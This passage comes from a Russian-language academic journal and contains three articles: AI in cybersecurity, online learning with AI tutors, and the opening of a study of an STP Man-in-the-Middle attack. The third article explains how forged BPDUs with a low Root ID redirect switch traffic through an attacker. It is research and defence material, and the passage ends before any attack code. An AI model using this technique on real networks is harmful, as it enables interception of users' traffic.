ровых технологий в образование должна со-
провождаться осознанием безопасности их 
применения.  
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Аннотация. Искусственный интеллект (ИИ или AI – Artificial Intelligence) – функциональное и авто-

матизированное решение для сбора данных, управления бизнес-процессами, аналитики, поиска оптималь-
ных способов ведения бизнеса. Его можно использовать для выполнения рутинных заданий: выстраивания 
статистики, выявления потенциальных рисков, поддержания информационной безопасности (ИБ). 

Безопасность – это широкий термин, и в промышленности и правительстве существует множество 
контекстов «безопасности» на разных уровнях – от индивидуального до общенационального. Для осу-
ществления безопасности применяются и развиваются технологии искусственного интеллекта и ма-
шинного обучения. В то время как многие из этих технологий обладают потенциалом и принесли большую 
пользу обществу (например, помогая снизить уровень мошенничества с кредитными картами), меняю-
щийся социальный контекст и применение этих технологий часто оставляют больше вопросов, чем от-
ветов – с точки зрения правил, положений и моральных суждений – по их следу. Искусственный интеллект 
и безопасность были – во многих отношениях – созданы друг для друга, и современные подходы к машин-
ному обучению, похоже, появляются как раз вовремя, чтобы заполнить пробелы в предыдущих системах 
защиты данных на основе правил. 
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Основная часть 
В современном мире отечественные компа-

нии, следуя мировому тренду, делают ставку на 
искусственный интеллект для защиты пред-
приятий от киберугроз. 

Растущие угрозы заставили пересмотреть 
подходы к организации безопасности и повы-
сили спрос на программное обеспечение, 
чтобы защититься от угроз, которые обходят 
стандартные меры безопасности. 

По данным ФРИИ, количество хакерских 
атак, растет на 54% год от году во всех отраслях. 
Каждая пятая компания понесла финансовый 
ущерб, подвергаясь атакам. В 2023 году актив-
ность злоумышленников остается высокой [2]. 

Приложения искусственного интеллекта для 
обнаружения и предотвращения кибератак – 
это мировой тренд, который внедряют органи-
зации по всему миру. Объем мирового рынка 
ИИ в сфере безопасности вырастет с $21,19 
млрд в 2023 году до $50,61 млрд к 2028 году при 
среднегодовом темпе роста 19%, по данным 
ФРИИ [2]. 

Системы на базе искусственного интел-
лекта (ИИ) могут анализировать различные 

инциденты безопасности и реагировать на них 
в режиме реального времени. Он может авто-
матизировать такие процессы, как сбор данных 
и реагирование на инциденты, что помогает 
организациям сократить время реагирования. 
Это также позволяет учиться на прошлых ин-
цидентах, и помогает в разработке более стро-
гих стратегий реагирования на инциденты. ИИ 
также использовался для улучшения процессов 
аутентификации пользователей. Пароли и 
двухфакторная аутентификация уязвимы для 
атак, но ИИ может использовать поведенче-
скую биометрию для усиления аутентифика-
ции пользователей. Это может чрезвычайно 
помочь организациям ограничить потенциаль-
ный несанкционированный доступ [2]. 

Системы на базе искусственного интеллекта 
обеспечивают повышенную безопасность дан-
ных. ИИ может использовать такие методы, как 
шифрование, обнаружение аномалий и анализ 
поведения для защиты данных. Используемые 
алгоритмы могут отслеживать трафик данных 
и быстро предупреждать о потенциальных 
утечках данных. Это помогает группам без-
опасности защищать базы данных и 
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добиваться лучшего соблюдения правил за-
щиты данных [3]. 

ИИ будут играть ключевую роль в разра-
ботке средств защиты от кибератак. Алгоритмы 
искусственного интеллекта и машинного обу-
чения будут продолжать совершенствоваться в 
раннем обнаружении атак и смягчении их по-
следствий. Это позволит организациям более 
точно обнаруживать угрозы и быстрее реагиро-
вать на них. Это поможет организациям улуч-
шить состояние безопасности.  

Мониторинг, поиск угроз, реагирование на 
инциденты и другие обязанности часто выпол-
няются вручную и отнимают много времени, 
что может задержать действия по исправле-
нию, увеличить незащищенность и повысить 
уязвимость для киберпреступников. И только 
за последние несколько лет разработки искус-
ственного интеллекта быстро развились до та-
кой степени, что они могут принести суще-
ственные преимущества в операциях киберза-
щиты в широком диапазоне организаций и 
миссий. Автоматизированные ключевые эле-
менты основных функций ИИ помогли преоб-
разовать рабочие процессы в кибербезопасно-
сти в оптимизированные, автономные, непре-
рывные процессы, которые ускоряют восста-
новление и обеспечивают максимальную за-
щиту. Автоматическая обработка данных, про-
верка больших информационных массивов 
средствами AI и ML сильно упрощают поиск 
угроз и оценку их опасности. Быстрые и точные 
действия, выполненные машиной при инфор-
мационных инцидентах – половина успеха в 
борьбе с киберпреступниками. Подобная за-
щита доказала свою состоятельность и эффек-
тивность, особенно в случаях резкого скачка 
кибератак в событиях информационной без-
опасности [3]. 

Кибербезопасность: включает защиту ин-
формации и систем от основных киберугроз, 
таких, как кибертерроризм, кибервойна и ки-
бершпионаж. Система обнаружения вторже-
ний (IDS). Тип программного обеспечения без-
опасности, предназначенного для автоматиче-
ского оповещения администраторов, когда 
кто-то или что-то пытается скомпрометиро-
вать информационную систему из-за злонаме-
ренных действий или нарушений политики 
безопасности [4]. 

Теория игр: наука о стратегии или, по край-
ней мере, оптимальное принятие решений не-
зависимыми и конкурирующими игроками в 
стратегической обстановке. 

Дифференциальная конфиденциальность: 
подход, позволяющий ученым извлекать ин-
формацию из базы данных, гарантируя, что ни 
одно лицо не может быть идентифицировано, 
т. е. он гарантирует, что ответ, полученный на 
любой запрос к базе данных, не будет заметно 
отличаться, если какой-либо один человек бу-
дет исключен из базы данных (конфиденциаль-
ность для отказа от участия). Эта последняя за-
дача достигается этой гарантией, добавляя 
шум к любому ответу, возвращенному базой 
данных. Криптография: метод хранения и пе-
редачи данных в определенной форме, чтобы 
их могли прочитать и обработать только те, для 
кого они предназначены [4]. 

Киберприложения ИИ имеют большие пре-
имущества для правительства и бизнес-лиде-
ров, ответственных за защиту людей, систем, 
организаций и сообществ от современных без-
жалостных киберпреступников. Так, функции 
искусственного интеллекта на протяжении 
всего жизненного цикла кибербезопасности 
включают в себя мониторинг обширных масси-
вов данных для обнаружения атак со стороны 
противника, количественную оценку рисков, 
связанных с известной уязвимостью, и обеспе-
чение принятия решений с помощью данных 
во время поиска угроз [5]. 

Кроме того, системы безопасности, исполь-
зующие AI и ML, научились распознавать и вы-
являть нарушителей, при анализе типичного 
поведения сотрудников: рабочая активность, 
авторизация, смена прав доступа, навигация 
внутри баз данных. Чрезмерная активность, 
интерес к закрытым данным, неудачные по-
пытки проникновения, все это легко выявля-
ется с помощью отслеженных и обработанных 
сигналов. Полученные вовремя сигналы о по-
пытках взлома или превышении полномочий, 
помогают предотвратить ЧП, а также сохра-
нить в неприкосновенности интеллектуальную 
собственность организации, цифровую и ре-
сурсы [5]. 

Классические защитные системы руковод-
ствуются сводом правил, директив, готовых ал-
горитмов, а это чревато ошибкой или неиспол-
нением команды, при выявлении нового вида 
угрозы. Приложения с ИИ способны действо-
вать быстро: определять угрозу, ее класс опас-
ности, мишени, предлагать различные вари-
анты защиты. Время реагирования на хакер-
скую атаку принимает первостепенное значе-
ние, для обеспечения защиты и минимизации 
последствий. 
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К непосредственным и долгосрочным пре-
имуществам интеграции ИИ в систему кибер-
безопасности организации относятся следую-
щие: 

• Улучшает защиту и исправление благо-
даря способности ИИ обнаруживать тонкие 
атаки, повышать безопасность и улучшать реа-
гирование на инциденты. 

• Увеличивает экономию времени, по-
скольку ИИ сокращает время цикла обнаруже-
ния и реагирования, быстро оценивая риски и 
ускоряя принятие решений аналитиками с по-
мощью мер по смягчению последствий на ос-
нове данных. 

• Усиливает защиту репутации бренда и 
доверия к системам и протоколам безопасно-
сти организации. 

• Повышает удовлетворенность сотруд-
ников, поскольку специалисты по кибербез-
опасности могут сосредоточиться на задачах 
более высокого уровня, а не на трудоемких руч-
ных действиях. 

На сегодняшний день ИИ отвечает повы-
шенным требованиям безопасности. Для пра-
вительственных сред, которым требуется высо-
чайший уровень защиты от кибербезопасно-
сти, в частности для органов обороны и нацио-
нальной безопасности, ИИ расширяет возмож-
ности защиты информации [5]. 

Благодаря автоматизации ИИ обеспечивает 
конкурентное преимущество. Искусственный 
интеллект становится все более распростра-
ненным, что позволит легче наращивать чело-
веческие возможности в роли кибербезопасно-
сти в правительстве и Министерстве обороны, 
увеличивая влияние и эффективность. 

Применение функций ИИ сведет к мини-
муму человеческий фактор. Все возможности 
ИИ в ручные и полу ручные процессы может 
свести к минимуму ошибки и несоответ-
ствия [5]. 

Организации будут нанимать экспертов по 
ИИ за их опыт применения технологий ИИ и 
машинного обучения для обеспечения кибер-
безопасности, а не просто искать традицион-
ные наборы навыков в области кибербезопас-
ности. Новые наборы навыков будут востребо-
ваны у киберспециалистов [5]. 

Совершенствование методов вторжения и 
атак на компании продолжает оставаться на 
высоком уровне. Это значит, что в любой си-
стеме будут присутствовать слабые места – 
точки или зоны проникновения угроз. Пере-
крыть все возможности кибератак, да еще и 

одновременно, задача почти невозможная. 
Зато посредством машинного обучения в ИБ 
становится возможным – выявить наиболее 
привлекательные для кибератак точки входа, 
повысить контроль, защиту, выполнить пре-
вентивные меры, что положительно сказыва-
ется на снижении опасности [5]. 

Заключение 
Системы искусственного интеллекта сейчас 

и в будущем расширяют свои возможности за 
счет добавления наборов контекстных данных 
и информации для принятия более обоснован-
ных решений. Анализируя различные факторы, 
такие как сетевой трафик и поведение пользо-
вателей, ИИ получает более глубокое понима-
ние среды организации и предсказывает воз-
можные отклонения в использовании данных. 
Даже имея потенциальные недостатки, искус-
ственный интеллект будет способствовать раз-
витию кибербезопасности и поможет органи-
зациям организовать более надежную систему 
безопасности. 

Искусственный интеллект - новое простран-
ство, которое будет усиленно продолжать рас-
ширяться, оказывая влияние на различные от-
расли. 

За последние 4 года, сделки в области кибер-
безопасности и искусственного интеллекта вы-
росли более чем в два раза. Способность искус-
ственного интеллекта поддерживать кибербез-
опасность со временем будет только расти. Ли-
деры кибербезопасности должны изучить ши-
рокий спектр вариантов использования ИИ и 
потенциальных приложений для федеральной 
миссии [6, с. 12-16]. 
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Abstract. Artificial intelligence (AI or AI – Artificial Intelligence) is a functional and automated solution for 

collecting data, managing business processes, analytics, and finding the best ways to do business. It can be used to 
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Аннотация. На протяжении последних лет отмечаются быстрые инновации в области технологий 

обучения. Онлайн-обучение становится довольно распространённым в образовательных контекстах. 
Первоначально онлайн-обучение задумывалось как продолжение дистанционного обучения и, таким обра-
зом, основывалось на представлении и передаче учебных ресурсов на расстоянии. С пандемией пришла идея 
дистанционного обучения, в которой онлайн-обучение рассматривалось как механизм замены очного обу-
чения. Это создает будущее, в котором онлайн-обучение лучше всего рассматривать как сочетание обоих 
подходов, позволяя человеку получать реальную, интерактивную и действительную поддержку в обучении. 

Онлайн обучение применяется в системе образования с каждым годом все больше и больше. Во многих 
программах и курсах основная часть учебной деятельности перемещается из классных комнат в индиви-
дуальную работу. 
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Основная часть 
Система образования в настоящее время 

вступает в новые реалии, диктуемые современ-
ным состоянием общества и последствиями 
пандемии COVID-19, когда в экстренном по-
рядке вводилось онлайн-обучение на всех сту-
пенях образования от начальной школы до си-
стемы высшего образования. 

До сих пор предпринимаются поиски мето-
дов и способов, позволяющих найти решение 
данной проблемы. Первые шаги оказались 
очень сложными как со стороны технической 
реализации, так и со стороны психоэмоцио-
нального состояния всех участников образова-
тельного процесса. Техническая составляющая 
достаточно быстро была найдена и очень ак-
тивно стала использоваться в организации 
процесса обучения: teams.microsoft.com, 
zoom.us, skype.com, и др. [2]. 

Онлайн-обучение ставит систему образова-
ния в новые условия, связанные с определе-
нием вовлеченности обучаемых в процесс по-
лучения знаний, освоения новых умений и 
навыков, организации и проведения контроля 
и самоконтроля. В вынужденных новых усло-
виях отсутствует вербальный контакт, эмоцио-
нальные составляющие, поведенческие 
оценки, адекватная оценка качества обучения. 
Эти изменения ставят перед педагогической 

наукой необходимость разработки новой мето-
дологии, учитывающей происходящие измене-
ния.  

Вначале дистанционное обучение вводи-
лось в режиме локдауна очень быстро и зача-
стую не совсем подготовлено (ERT) и внесло 
свои коррективы в систему знаний и учебный 
опыт обучаемых по всему миру [3]. 

Вместе с тем, преимуществом дистанцион-
ного обучения всегда была возможность 
учиться в удобном для вас темпе, независимо 
от того, когда и где вы находитесь. Эта свобода 
помогла людям, которые иначе не могли посе-
щать занятия, получить образование, напри-
мер, на Крайнем Севере. 

За последние несколько лет росло осознание 
важности обучения на протяжении всей жизни 
и, следовательно, тенденция поддержки про-
изводительности на рабочем месте. Это проти-
вопоставляет иногда противоречивые цели: 
желание человека подготовиться к будущим 
возможностям трудоустройства и желание ра-
ботодателя поддержать сотрудников на тех по-
зициях, которые они занимают сейчас. Он-
лайн-обучение в этом случае более чем акту-
ально [4]. 

Возможности онлайн-обучения зависят от 
надежного доступа к сетям и возможности под-
ключения и, в свою очередь, необходимы для 
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поддержки большинства функций обучения и 
развития. Все они недооценены, а в некоторых 
случаях даже противостоят действующим про-
цессам и услугам, представляя собой нетради-
ционные подходы к обучению, педагогике и со-
держанию. Доступ к этим возможностям тре-
бует адаптации к различным способам и сред-
ствам поддержки обучения, а также к методам 
и системам. 

Технологии искусственного интеллекта 
сильно изменили данную сферу образования за 
последние годы, онлайн-общение становится 
все более эффективным, особенно для тех, кто 
с ним вырос. Даже физическую активность, та-
кую как спорт, музыка или танцы, можно под-
держивать онлайн и выполнять удаленно [4]. 

Отличительной чертой среды очного обуче-
ния является предоставление услуг или обору-
дования, к которым невозможно получить до-
ступ дома. Это особенно важно в регионах с 
низкими доходами. Школы и ВУЗы предостав-
ляют доступ к инструментам, научному обору-
дованию и многому другому. 

Но по мере того, как технология физиче-
ского пространства начинает меняться, проис-
ходит и соответствующий педагогический 
сдвиг. Хотя педагоги продолжат возглавлять 
учебную деятельность, цель будет заключаться 
не в передаче знаний и информации, а в созда-
нии условий и сценариев, в которых учащиеся 
смогут получить учебный опыт. Такие среды 
могут использоваться для постановки проблем 
и задач, требуют совместной работы команд и 
позволяют вручную управлять технологиями и 
оборудованием, давая учащимся почувство-
вать то, что они изучают, а не чисто теоретиче-
ские знания [5, с. 347-373]. 

Преобразование физических пространств 
обучения требует одновременного выполнения 
двух условий: 

• перехода от обучения в классе к дистан-
ционному обучению; 

• преобразования классных комнат из 
учебных пространств в экспериментальные. 

Этот сдвиг уже происходит, но процесс он-
лайн-обучения в будущем должен включать по-
степенное сокращение «учебного времени», 
чтобы освободить место для дистанционного 
обучения и обучения на основе опыта. Учебные 
программы постепенно должны будут отра-
жать деятельность и результаты обучения, ос-
нованные на дисциплинах, а не на предметах. 

В настоящее время большая часть онлайн-
обучения предлагается через поставщиков 

контента и системы управления обучением. 
Доступ обычно ограничен зарегистрирован-
ными и платными подписчиками и студен-
тами. 

Хотя это защищает ценность ресурсов, но 
ограничивает устойчивость и переносимость 
сообщества, формирующегося вокруг этих 
предложений. Поэтому люди обращаются к он-
лайн-сообществам и социальным сетям, чтобы 
поддержать собственное обучение независимо 
от поставщиков обучения. Эти сети открытого 
обучения постепенно становятся основным ис-
точником обучения для людей [5, с. 347-373]. 

Преимущество сетей открытого обучения 
заключается в том, что они доступны и по-
лезны как для студентов, так и для практиков. 
Они становятся местами, где работа и обучение 
происходят рядом. Несмотря на то, что сохра-
няется потребность в безопасной и изолиро-
ванной среде для новичков, все учащиеся полу-
чают пользу от общения и работы бок о бок с 
реальными практиками. Таким образом, от-
крытые сети поддерживают различные более 
или менее неформальные стажировки или уче-
ничество. Например, GitHub одно и то же место 
использует для практики, демонстрации и, в 
конечном итоге, применения своих знаний и 
навыков. Будущие технологии обучения будут 
включать не только такие сети, но и способы 
поддержки прогресса человека в них от но-
вичка до профессионала. 

С развитием глобальной цифровой сети и 
появлением различных форм искусственного 
интеллекта стало ясно, что потребности в обу-
чении изменились и что, хотя учащимся 
больше не нужно запоминать большие объемы 
контента, им необходимо приобретать новые 
навыки для удовлетворения потребностей 
насыщенной информацией среды, быстрых из-
менений и растущей сложности [6]. 

Интернет и образовательные технологии 
вместе с ним развиваются в сторону набора си-
стем и спецификаций, которые поддерживают 
свободный поток контента и информации от 
услуги к услуге. В социальных сетях такие стан-
дарты, как ActivityPub, объединяют плат-
формы, открытый исходный код делает то же 
самое для контента и программного обеспече-
ния, а в образовательных технологиях такие 
спецификации, как открытые образовательные 
ресурсы (OER), Experience API (xAPI) и Полная 
архитектура обучения (TLA) делают то же са-
мое. Образовательные учреждения должны 
быть интегрированы в более широкую 
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информационную инфраструктуру, а не отде-
лены от нее. 

Будущая педагогика потребует от педагогов 
выйти за рамки теорий обучения, относиться к 
каждому человеку как к уникальному и при-
знать, что преподавание и обучение представ-
ляют собой адаптивные процессы взаимодей-
ствия, взаимных уступок, без заранее опреде-
ленных целей или результатов [6]. 

Многие исследователи ожидают, что по-
явится новая модель, в которой образование 
будет осуществляться в сообществе в целом, 
когда отдельные лица изучают персональные 
учебные программы в своем собственном 
темпе под руководством и помощью координа-
торов сообщества, или онлайн-инструкторов и 
экспертов по всему миру. 

Тогда образовательный опыт будет богатым 
и разнообразным, подкрепленным интерес-
ным и увлекательным образовательным про-
граммным обеспечением и дополненным об-
суждениями и сотрудничеством с людьми со 
всей планеты. В то же время преподаватели бу-
дут играть роль принимающей стороны и будут 
формировать личные и поддерживающие от-
ношения со своими учениками, выступая в ка-
честве тренеров, гидов и защитников посред-
ством множества доступных образовательных 
услуг. Также преподаватели могут выступать в 
качестве поставщиков, выступая в качестве 
экспертов и ресурсов, обслуживая не только 
студентов, но и общество в целом, создавая от-
крытые сообщества, которые поддерживают и 
поощряют открытое участие всех, от новичков 
до серьезных любителей и профессионалов [7, 
с. 2337-2377]. 

Сложная и интегрированная сеть связи и 
данных будет поддерживать как хостов, так и 
провайдеров, предлагая мгновенный доступ ко 
всей совокупности человеческих знаний в 
форме программного обеспечения, которое 
учитывает контекст обучения, учащегося и 
проблему, с которой он сталкивается, и спо-
собно взаимодействия с учащимся на их соб-
ственных условиях в качестве знающего экс-
перта и наставника [7, с. 2337-2377]. 

Даже во времена быстрых перемен будущее 
наступает медленно, поскольку каждое новое 
развитие рассматривается не с точки зрения 
будущего состояния, к которому оно приведет, 
а с точки зрения известного и устойчивого по-
нимания прошлого, с точки зрения существую-
щих институтов, традиций и практик. 

Однако, нельзя рассматривать обучение как 
константу и представлять себе системы и тех-
нологии как инфраструктуру, позволяющую 
сделать любое обучение доступным в любое 
время, а затем интегрировать людей в эту ин-
фраструктуру в как можно более раннем воз-
расте. 

Образование развивается через ряд сово-
купных тенденций в технологиях, обучении и 
сообществе, но концептуально его следует рас-
сматривать как отход от традиционного пони-
мания обучения к модели онлайн, которая бу-
дет преобладать в будущем [5, с. 347-373]. 

Развитие информационных технологий со-
здает предпосылки для совершенствования 
традиционных и разработки новых форм обу-
чения, в частности онлайн-обучения. Это новая 
форма обучения, когда для обеспечения учеб-
ного процесса используются современные ин-
формационные технологии и Интернет. Такая 
форма обучения актуальна для нашей страны 
из-за протяженной территории, наличия отда-
ленных населенных пунктов, неритмичной и 
неэффективной работы транспорта. Система 
дистанционного обучения привлекает в ВУЗ 
людей, у которых работа имеет разъездной ха-
рактер, связана с частыми командировками.  

Возможности искусственных нейтронных 
сетей намного шире, чем задачи обучения. 
Вместе с тем онлайн-обучение является неотъ-
емлемой частью образовательного процесса. 
Традиционная модель очного обучения уже не 
способна удовлетворить все образовательные 
потребности общества. Для удовлетворения 
этого разнообразия необходимо внедрить но-
вые, более эффективные и гибкие формы обу-
чения и оценки. В дальнейшем необходимо 
разработать методологию и внедрить в прак-
тику обучения информационно-интеллекту-
альную систему, которая позволит корректиро-
вать систему онлайн-обучения с учетом полу-
ченных рекомендаций системы [6]. 

Так появится возможность определить про-
блемы обучаемых по каждому из состояний: 
психическому, когнитивному, поведенче-
скому. Представленные рекомендации позво-
лят внести коррективы в обучение группы в це-
лом и, что самое главное, в обучение конкрет-
ного обучаемого. Внедрение информационно-
интеллектуальной системы позволит значи-
тельно повысить качество онлайн-обучения. 

Взаимообучение эффективно, поскольку 
преподаватель может немедленно реагировать 
на просьбы учащихся о помощи, отзывах или 
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информации. Технологии обучения будущего 
будут поддерживать эту способность, предо-
ставляя учебные ресурсы по требованию. Часто 
эти ресурсы создаются тогда, когда они необхо-
димы, и, таким образом, адаптируются к кон-
кретным обстоятельствам, в которых они за-
прашиваются. 

Идея искусственных наставников, которая 
когда-то считалась невозможной, недавно воз-
родилась благодаря успеху ChatGPT. Хотя такие 
системы по-прежнему ненадежны, при под-
держке базы знаний или библиотеки ресурсов 
они становятся мощным интерфейсом к прак-
тически неограниченным образовательным 
ресурсам. Вполне вероятно, что в течение деся-
тилетия дети смогут получить доступ к соб-
ственному искусственному наставнику, кото-
рый обеспечит подходящую и разговорную 
форму поддержки обучения [7, с. 2337-2377]. 

Основная часть обучения в будущем, осо-
бенно для взрослых учащихся, будет представ-
лять собой обучение в окружающей среде, то 
есть обучение, которое происходит в контексте 
выполнения чего-то другого. Хирурги, напри-
мер, уже используют технологии для репети-
ции процедуры в операционной перед ее нача-
лом. Юристам в режиме реального времени 
предоставляются цитаты, прецеденты и аргу-
менты во время судебного разбирательства. 
Эти системы поддержки применяются к по-
ставленной задаче и, таким образом, разви-
вают общие знания человека и чувство дисци-
плины [7, с. 2337-2377]. 

Заключение 
В прошлом персонализированное обучение 

встречалось со скептицизмом, и на то были 
веские причины, поскольку не было оснований 
полагать, что рекомендации по адаптивному 
содержанию или учет индивидуальных стилей 
обучения каким-либо образом влияют на ре-
зультаты обучения. Разница, однако, в том, что 
в прошлом персонализация носила предписы-
вающий характер, в отличие от более совмест-
ных и интерактивных методов, описанных 
здесь. Вместо того чтобы предлагать какой-то 
инструмент или теорию, которая делает персо-
нальное репетиторство ненужным, мы видим, 
что разрабатываются средства искусственного 
интеллекта, позволяющие делать то, что может 
сделать персональный репетитор. Это означает 
отказ от большей части того, что мы узнали об 
обучении, как не имеющего отношения к теку-
щей задаче. 

В результате проведённых ранее исследова-
тельских проектов (STEVE, Adele) с анимиро-
ванными педагогическими агентами были вы-
явлены их потенциальные возможности для 
обучения, когда агент становится анимирован-
ной персоной и может взаимодействовать с 
учащимися. 

Учебные компаньоны способствуют соци-
альному взаимодействию между учащимися и 
сверстниками. Они могут стимулировать уча-
стие, что может повысить мотивацию уча-
щихся. Виртуальные ролевые игроки выпол-
няют обучающие функции посредством своих 
реакций на ответы учащихся в образователь-
ных симуляциях. Учеными разработана вирту-
альная среда VCATs Алело, где педагогические 
агенты могут выполнять несколько ролей и ис-
пользовать различные функции в каждой роли. 

В VCAT учащиеся приобретают знания о 
других культурах и применяют свои знания в 
симулированных встречах с людьми из этой 
культуры. Виртуальный тренер обеспечивает 
руководство и обратную связь на протяжении 
всего курса, а также рассказывает учебный ма-
териал. Во время ролевых игр аватар учащегося 
проводит межкультурные обмены с виртуаль-
ными ролевыми игроками с помощью советов 
и комментариев виртуального наставника. На 
сегодняшний день VCAT разработаны для бо-
лее чем 80 стран. 

Новые цифровые технологии, такие как 
применение искусственного интеллекта в обу-
чении, педагогических агентов как одного из 
видов искусственного интеллекта, позволяют 
индивидуализировать учебный процесс, сде-
лать учебную среду гибкой и адаптированной 
тем самым учитывать способности и возмож-
ности каждого ученика, повысить эффектив-
ность обучения, облегчая нагрузку учителей, 
оказывая им помощь в оценивании учебной де-
ятельности и подготовке учебной документа-
ции. В то же время, применение цифровых тех-
нологий должно быть контролируемым и без-
опасным для учащихся [8, с. 1051-1067]. 
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Abstract. Recent years have seen rapid innovation in learning technology. Online learning is becoming quite 

common in educational contexts. Online learning was originally conceived as an extension of distance learning and 
was thus based on the presentation and transmission of learning resources at a distance. With the pandemic came 
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Аннотация. В статье исследуется тестирование и защита атаки Man in the Middle на протокол STP. 
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Введение 
Протокол STP (Spanning Tree Protocol), – это 

протокол, обеспечивающий стабильность 
Ethernet-сетей за счет предотвращения топо-
логических петель и широковещательного 
шторма. 

Актуальность исследования можно обусло-
вить тремя факторами. Во-первых, высокая до-
ступность и простота использования прото-
кола. Практически все сетевые устройства под-
держивают STP. А атака Man in the Middle в 
свою очередь является одной из наиболее рас-
пространенных и легко реализуемых атак. 

Во-вторых, критичность последствий. Атака 
Man in the Middle позволяет злоумышленнику 
перехватить роль корневого моста в топологии. 
Впоследствии это позволяет перехватить тра-
фик, через атакующую систему. А злоумыш-
ленник способен получить конфиденциальную 
информацию пользователя. 

В-третьих, простота исполнения атаки. Да-
лее, в практической части будет продемон-
стрировано полное описание атаки. Для прове-
дения этой атаки не потребуется сложное обо-
рудование. Нужен только лишь компьютер с 
установленными библиотеками для Python. 

Так и усовершенствованные альтернативы, 
такие как RSTP или MSTP, с их более разветв-
ленными методами защиты, требуют больше 
времени и ресурсов. Многие организации и не 
столь современное ПО и оборудование 

продолжают пользоваться классическим STP 
именно из-за его универсальности. 

Объектом исследования в данной статье вы-
ступает сам протокол STP, а именно, сам поря-
док установки корневого моста путём обмена 
служебными кадрами – Bridge Protocol Data 
Units (BPDU). Эти кадры декларируют атакую-
щую систему как устройство с наивысшим при-
оритетом (например, Root ID = 0). Легитимные 
коммутаторы, получая эти «более привлека-
тельные» BPDU, пересчитывают топологию 
Spanning Tree и начинают направлять трафик, 
предназначенный для корневого моста, на си-
стему злоумышленника. Это и создает условия 
для проведения MITM-атаки на канальном 
уровне. 

Целью данной статьи является практиче-
ская демонстрация методики проведения STP 
MITM-атаки с использованием общедоступных 
инструментов (Python, Scapy) и представление 
методик защиты сетевого оборудования. 

В работе использовались: 3 физический 
коммутатора, устройство на ОС Альт, устрой-
ство на ОС Astra Linux и атакующее устройство 
на Windows. 

1. Протокол Spanning Tree Protocol (STP): 
Принципы работы и роль корневого моста 

Spanning-Tree – это протокол, который ра-
ботает на коммутаторах и помогает нам устра-
нять петли. Петли создают серьезную проблему 
в виде возникновения широковещательных 
штормов, нестабильности таблиц MAC-адресов 
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и дублирования кадров. Spanning Tree Protocol 
логически преобразовывает физическую топо-
логию сети с петлями в древовидную без пе-
тель, путем опускания избыточных интерфей-
сов, но не отключая их совсем, они остаются в 
качестве резерва.  

Существует сеть с двумя коммутаторами. 
Они соединены двумя кабелями, чтобы 

избавиться от единой точки отказа при соеди-
нении с помощью одного кабеля. Но с дополни-
тельным кабелем появляется избыточность, 
которая приводит к петле в сети. Так же к каж-
дому коммутатору подключено устройство. 
Описанная ситуация представлена на ри-
сунке 1. 

 
Рис. 1. Образование петли в топологии 

 
H1 отправляет запрос ARP, потому что ищет 

MAC-адрес H2. Запрос ARP представляет собой 
широковещательный кадр. SW1 будет пересы-
лать этот широковещательный кадр на все свои 
интерфейсы, кроме интерфейса, на котором он 
получил этот кадр. SW2 будет получать оба ши-
роковещательных кадра. SW2 же будет пересы-
лать его со всех интерфейсов, кроме того ин-
терфейса, где он и получил этот кадр. Это озна-
чает, что кадр, полученный на интерфейсе 
enp0s3, будет отправлен на интерфейс enp0s8. 
Кадр, полученный на интерфейсе enp0s8, – на 
интерфейс enp0s3 и так далее. Так и образовы-
вается петля. 

Работа протокола STP основана на обмене 
Bridge Protocol Data Units (BPDU) между эле-
ментами в сети. Это отдельный вид кадров, 
всего есть два основных типа, каждый из кото-
рых выполняет определенную специфическую 
функцию. 

Первый тип это конфигурационные BPDU. 
Они с определенной регулярностью высыла-
ются всем участникам сети. Эти кадры содер-
жат информацию о состоянии сети, приоритет 

коммутаторов, стоимости путей и идентифика-
тор корневого моста. Все элементы получают 
одну и туже информацию в нужное время, это 
позволяет грамотно использовать ресурсы и 
предотвращать появление петель. 

Второй тип это TCN BPDU. Эти сообщения 
посылают сигналы тревоги о смене топологии, 
они автоматически генерируются при измене-
нии топологии сети. Это происходит, когда ка-
кой-либо коммутатор подключается или от-
ключается от сети. TCN BPDU служат для уве-
домления остальных коммутаторов об измене-
ниях. 

В BPDU есть 2 важные части информации, 
которые необходимы связующему дереву. Это 
MAC-адрес и приоритет, они вместе состав-
ляют идентификатор моста (Bridge ID) длиной 
8 байт. 

Spanning Tree выберет корневой мост по 
принципу лучшего ID моста, а лучший мост это 
тот, у которого наименьший идентификатор 
моста. По умолчанию этот приоритет равен 
32768, но также пользователь сам может изме-
нять это значение. 
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Именно так происходит выбор корневого 
коммутатора в мостовом дереве. В самом 
начале выборов каждый коммутатор выстав-
ляет себя в качестве потенциального корневого 
коммутатора и активно пытается занять эту по-
зицию, но с помощью BPDU коммутатор рассы-
лает свои амбиции и затем определяется ко-
рень путем сравнения ID. Процесс не завер-
шиться пока не найдется коммутатор с 
наименьшим Bridge ID, который и окажется 
корнем. 

После выбора корневого моста выбирается 
корневой порт на каждом некорневом мосте. 
Это единственный порт, который имеет 
наилучший путь к Root Bridge. Затем выбира-
ются назначенные порты (Designated port) на 
каждом сегменте сети. Для каждого сегмента 
сети (связь между коммутатором и устрой-
ством) выбирается один назначенный порт. 
Этот порт имеет наилучший путь от Root Bridge 
до корневого сегмента. Путь складывается из 
стоимости от корня до коммутатора и стоимо-
сти сегмента, в случае равенства стоимости 
пути выбирается коммутатор с наименьшим 
Bridge ID. 

BPDU выполняет функцию некой нервной 
системы для STP. По умолчанию каждые 2 се-
кунды рассылаются «Hello Time» с назначенных 
портов и корневого порта. Так же в сообщении 
есть «Max Age» – время жизни информации, ко-
торое по умолчанию 20 секунд. А также 
«Forward Delay» – время задержки перед пере-
ходом порта из состояния слушания в состоя-
ние обучения и затем в пересылку (по умолча-
нию 15 секунд). 

2. Атака Man in the Middle 
Атака с навязыванием ложного маршрута 

или «человек посередине» относится к атакам, 
направленным на перехват информации. 

Эта атака возможна, когда в сети есть как 
минимум два устройства в топологии STP, при-
чём жертвы атаки, трафик между которыми 
надо перехватить, подключены к разным мо-
стам. Суть данной атаки сводится к тому, чтобы 
изменить структуру сети таким образом что 
интересующий атакующего трафик пойдёт че-
рез его коммутатор. Для этого коммутатор ата-
кующего должен быть оснащена двумя сете-
выми интерфейсами. Один из них подключа-
ется к одному сегменту сети, а второй к дру-
гому. Атакующий посылает BPDU пакеты ини-
циирующие выборы назначенного моста для 
каждого сегмента и выигрывает их. Тогда су-
ществующий канал между двумя сегментами 
выключается и весь трафик идёт через комму-
татор атакующего. Если эта атака будет произ-
водиться на мосты, которые не являются сосед-
ними, то атакующему будет необходимо подо-
брать значения root id. 

Такая атака может перегружать CPU, а также 
способствует либо частичной, либо полной 
утери пакетов трафика между коммутаторами. 

3. Пример атаки на протокол STP 
